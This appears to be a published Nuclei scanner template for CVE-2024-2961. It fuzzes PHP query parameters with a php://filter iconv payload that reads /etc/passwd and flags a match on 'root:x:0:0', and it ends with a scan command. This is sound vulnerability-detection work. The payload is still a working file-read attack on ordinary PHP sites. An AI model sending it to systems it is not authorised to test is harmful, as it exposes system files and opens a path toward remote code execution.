PHP - LFR to Remote Code Execution

ID: CVE-2024-2961

Severity: high

Author: Kim Dongyoung (Kairos-hk),bolkv,n0ming,RoughBoy0723

Tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast

Description

PHP Local File Read vulnerability leading to Remote Code Execution

YAML Source

id: CVE-2024-2961

info:
  name: PHP - LFR to Remote Code Execution
  author: Kim Dongyoung (Kairos-hk),bolkv,n0ming,RoughBoy0723
  severity: high
  description: |
    PHP Local File Read vulnerability leading to Remote Code Execution
  impact: |
    Remote attackers can execute arbitrary code on the server
  remediation: |
    Update PHP to the latest version and sanitize user input to prevent LFR attacks
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2961
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
    epss-score: 0.00046
    epss-percentile: 0.17937
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - '!regex("root:x:0:0", body)'
        internal: true

  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'

    payloads:
      phppayload:
        - "php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource=/etc/passwd"

    stop-at-first-match: true
    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{phppayload}}"

    matchers:
      - type: regex
        regex:
          - "root:x:0:0"
# digest: 4a0a00473045022005ac06f3907c82aa128062a389b80cc85af23809ac157a8bc32e9b33d24b0d0a022100cb8111c68f3945d3705e3633e48d3f5993f0222aeef990481d3b29e8c61e4929:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/cves/2024/CVE-2024-2961.yaml"

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